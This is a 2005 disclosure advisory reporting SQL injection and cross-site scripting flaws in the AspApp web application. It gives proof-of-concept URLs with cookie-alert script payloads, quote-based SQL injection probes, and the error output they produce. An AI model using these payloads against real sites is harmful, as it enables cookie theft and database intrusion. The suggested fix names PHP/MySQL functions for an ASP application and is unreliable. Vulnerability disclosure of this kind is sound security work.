Multiple sql injection, and xss vulnerabilities in AspApp

[<dcrab () hackerscenter com>]

Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity:  Medium
Title: Multiple sql injection, and xss vulnerabilities in AspApp.
Date: March  30,  2005
Vendor: AspApp
Vendor site: http://www.localhost

Summary:
There are multiple sql injection, xss vulnerabilities in the AspApp.

Proof of Concept Exploits:

http://localhost/content.asp?CatId=109&ContentType=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/content.asp?CatId='SQL_ERROR&ContentType=Company
Microsoft VBScript runtime  error '800a000d'

Type mismatch: 'cLng'

C:\Webspace\resadmin\webadmin\localhost\www/common/i_utils.asp, line 341


http://localhost/content.asp?ContentId='SQL_ERROR
Sql error
Microsoft VBScript runtime  error '800a000d'

Type mismatch: 'cLng'

C:\Webspace\resadmin\webadmin\localhost\www/common/i_utils.asp, line 341


http://localhost/content.asp?contenttype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions 
for input validation before passing 

user input to the mysql database, or before echoing data on the screen, would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, 
please feel free to 

contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or 
http://icis.digitalparadox.org/~dcrab. Lookout for my 

soon to come out book on Secure coding with php.